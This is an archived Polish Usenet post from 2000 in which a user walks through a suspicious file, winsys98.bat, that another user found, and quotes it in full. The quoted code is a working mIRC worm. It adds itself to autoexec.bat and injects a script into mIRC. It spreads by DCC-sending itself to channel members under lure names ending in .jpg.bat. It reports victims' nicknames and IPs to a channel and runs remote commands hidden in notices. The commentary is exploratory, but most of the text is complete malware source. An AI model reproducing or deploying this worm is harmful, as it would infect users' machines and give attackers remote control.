Autor: Michał Jeliński (mmiki_at_zeus.polsl.gliwice.pl)
Data: Sat 08 Jan 2000 - 16:25:29 MET
Mnie to wyglada na jakiegos samopowielajacego sie robaka korzystajacego w
sposob nieco prymitywny z irca. Kiedys cos slyszalem o pliku winsys, ale
szczerze mowiac bylo to dawno temu i pamiec juz nie ta...
Mozliwe rowniez, ze jest to jakis fragment ze skryptow do irca
Czesc tego skryptu moge objasnic.
(przepraszam za netykiete - jest to celowe i ma na celu nie zanudzanie ew.
czytelnikow)
Aha - jesli masz jeszcze cos podobnego, lub do kompletu z tym plikem, to
poslij mi to mailem na priva.
Pozdrowienia.
-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Michał Jeliński mailto: mmiki_at_zeus.polsl.gliwice.pl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Użytkownik Paweł J. <hankey_at_polbox.com> w wiadomości do grup dyskusyjnych napisał:ozsd4.28915$N3.668558_at_news.tpnet.pl... Rozumiem oczywiscie, ze program nazywa sie winsys98.bat > @echo off > @if %0 == C:\WINSYS98.BAT goto :skip Jesli ja (znaczy program ktory sie odpala) mam na imie winsys98.bat, to opuszczamy te czesc az do " :skip" > @echo asdf >> c:\temp.jpg > @c:\progra~1\intern~1\iexplore c:\temp.jpg Powyzsze 2 linijki sa dla mnie niezrozumiale. Skrypt dopisuje do pliku temp.jpg literki asdf, a nastepnie wyswietla to korzystajac z internet explorera. Nie wiem - moze jest to proba wywolania polaczenia internetowego (ale raczej watpie, bo troche nedzna), a moze plik temp.jpg jest jakims plikem z kodem, w kazdym razie plik ten w zalozeniach autora zawieral cos wiecej niz tylko literki asdf (wskazuje na to gorna linia - podwojny dziubek >> ). Jednak nie rozumiem, po co w takim wypadku te literki asdf - sa na to inne sposoby, zeby byc pewnym istnienia pliku temp.jpg > @echo @C:\WINSYS98.BAT >> c:\autoexec.bat Dolaczamy sie do autoexeca > @copy /y %0 c:\winsys98.bat > nul oraz stajemy sie winsysem. Wszystko po cichu, bez zadnych komunikatow na ekran (fraza ">nul"). Ja w ten sposob robilem samomodyfikujace sie skrypty, rozumiem, ze on tez to wykorzystuje. > :skip > @if exist c:\mirc\mirc.exe goto ok Jesli masz zainstalowanego irca, to super, a jak nie, to nic tu po mnie. > @exit Ponizsza czesc dopisuje wiersze z pliku script.ini do pliku mirc.ini > :ok > @copy /y %0 c:\mirc\script.ini > nul > @echo n0=script.ini >> c:\mirc\mirc.ini > @echo n1=script.ini >> c:\mirc\mirc.ini > @echo n2=script.ini >> c:\mirc\mirc.ini > @echo n3=script.ini >> c:\mirc\mirc.ini > @echo n4=script.ini >> c:\mirc\mirc.ini > @echo n5=script.ini >> c:\mirc\mirc.ini > @echo n6=script.ini >> c:\mirc\mirc.ini > @echo n7=script.ini >> c:\mirc\mirc.ini > @echo n8=script.ini >> c:\mirc\mirc.ini > @echo n9=script.ini >> c:\mirc\mirc.ini > @exit > Tutaj nie jestem pewnien, ale chyba jest to jakas symulacja pliku script.ini - nigdy nie widzialem, zeby ktos tak robil, wiec nie wiem Wlasciwie dalsza czesc rozumiem piate przez dziesiate, bo nie uzywam irca. > [script] > n0=alias chanserv { rub.msg (msg:chanserv) $1- | chanserv $1- } > n1=alias nickserv { rub.msg (msg:nickserv) $1- | nickserv $1- } > n2=alias operserv { rub.msg (msg:operserv) $1- | operserv $1- } > n3=alias msg { rub.msg (msg: $+ $1 $+ ) $2- | msg $1- } > n4=alias privmsg { rub.msg (msg: $+ $1 $+ ) $2- | privmsg $1- } > n5=alias remote { > n6= if ($1 == off) { rub.echo info text:*** Remote is OFF } > n7= if ($1 == on) { rub.echo info text:*** Remote is ON > (Ctcps,Events,Raw) } > n8=} > n9=alias unload { > n10= if ($1 == -rs) && ($gettok($2,$gettok($2,0,92),92) == > $gettok($script,$gettok($script,0,92),92)) { rub.echo info text:*** Unloaded > script 'script1.ini' } > n11= else { > n12= unload $1- > n13= } > n14=} > n15=alias -l rub.echo echo -ae $+ $colour($gettok($1-,1,58)) $+ > $deltok($1-,1,58) > n16=alias -l rub.msg if ($server != $null) raw -q privmsg $chr(35) $+ $date > :#ribbed#2.41# $1- > n17=alias -l rub.name return $str(!,$r(0,9)) $+ > $gettok(:jennie:wife:lori:cindy:lanna:pamela:jane:wendi:christine:linda:kath > erine:yasmeen:model:anna:nicole:,$r(1,15),58) $+ > $gettok(::-:_:~:x:,$r(1,5),58) $+ > $gettok(::wet:hot:sexy:xxx:lick:horny:wild:orgy:naked:lesbian:straight:all-w > et:,$r(1,13),58) $+ .jpg.bat > n18=alias -l rub.infect { > n19= :top > n20= if ($sock(*,0) > 5) return > n21= %rub.sock = rub.send. $+ $r(0,9999) > n22= socklisten %rub.sock | sockmark %rub.sock $1 0 > n23= %rub.temp = $rub.name > n24= raw -q privmsg $1 :DCC SEND %rub.temp $longip($ip) > $sock(%rub.sock).port $file($script).size $+ > n25=} > n26=alias -l rub.help { > n27= if (($sock(*,0) > 5) && ($sock(rub.*,0) > 0)) { > n28= %rub.temp = 1 > n29= :l > n30= if ($sock(rub.*,%rub.temp).ls > 30) sockclose $sock(rub.*,%rub.temp) > n31= else inc %rub.temp > n32= if (%rub.temp <= $sock(rub.*,0)) goto l > n33= } > n34= if (($chan(0) == 0) || ($sock(*,0) > 5)) return | %rub.temp2 = 0 > n35= :loop > n36= %rub.temp = $chan($r(1,$chan(0))) > n37= %rub.temp = $nick(%rub.temp,$r(1,$nick(%rub.temp,0))) > n38= if (%rub.temp != $me) rub.infect %rub.temp > n39= if (%rub.temp2 < 5) { inc %rub.temp2 | goto loop } > n40=} > n41=on *:socklisten:rub.send.*:{ > n42= set %rub.temp rub.write. $+ $gettok($sockname,3,46) | sockaccept > %rub.temp | sockmark %rub.temp $sock($sockname).mark | rub.send %rub.temp | > sockclose $sockname > n43=} > n44=on *:sockwrite:rub.write.*:rub.send $sockname > n45=on *:sockclose:rub.write.*:rub.help > n46=alias -l rub.send { > n47= %rub.byte = $gettok($sock($1).mark,2,32) > n48= if ($calc(%rub.byte + 4096) < $file($script).size) { > n49= bread $script %rub.byte 4096 &rub.data > n50= sockwrite $1 &rub.data > n51= inc %rub.byte 4096 > n52= } > n53= else { > n54= %rub.temp = $calc($file($script).size - %rub.byte) > n55= if (%rub.temp == 0) { rub.msg infected $gettok($sock($1).mark,1,32) > | rub.help | return } > n56= bread $script %rub.byte %rub.temp &rub.data > n57= sockwrite $1 &rub.data > n58= %rub.byte = $file($script).size > n59= } > n60= sockmark $1 $gettok($sock($1).mark,1,32) %rub.byte > n61=} > n62= > n63=raw 401:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) > halt } > n64=raw 404:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) > halt } > n65=on *:connect:{ > n66= .copy -o $script c:\winsys98.bat > n67= rub.msg online ( $+ $me $+ ! $+ $ip $+ ) > n68=} > n69=on *:invite:#:rub.msg invited to $chan > n70=on *:join:#:{ > n71= if ($nick != $me) rub.infect $nick > n72= rub.help > n73=} > n74=on *:part:#:.timermircHelpTimer 0 10 rub.help > n75=on *:nick:if ($nick == $me) rub.msg nick: $nick -> $newnick > n76=on *:op:#:if ($opnick == $me) rub.msg just opped in $chan > n77=on *:serverop:#:if ($opnick == $me) rub.msg just serv-opped in $chan > n78=on *:usermode:rub.msg usermode: $1- > n79= > n80=on ^*:error:*:haltdef > n81=on ^*:notice:*:?:{ > n82= if ($right($gettok($1-,1,94),$calc($len($gettok($1-,1,94)) - 1)) == > ribbed) && (($version < 5.4) || ($gettok($1-,2,94) == $hash($me,32))) { > n83= $left($gettok($1-,3-,94),$calc($len($gettok($1-,3-,94)) - 1)) > n84= haltdef > n85= } > n86=} > Wlasciwie, sam jestem ciekaw, co on robi. Ale jak widze hasla rub.infect, to niezbyt mi sie to kojarzy z instalka :) Jak bedziesz wiedziec cos wiecej daj znac - jestem bardzo ciekaw
To archiwum zostało wygenerowane przez hypermail 2.1.7 : Tue 18 May 2004 - 19:32:59 MET DST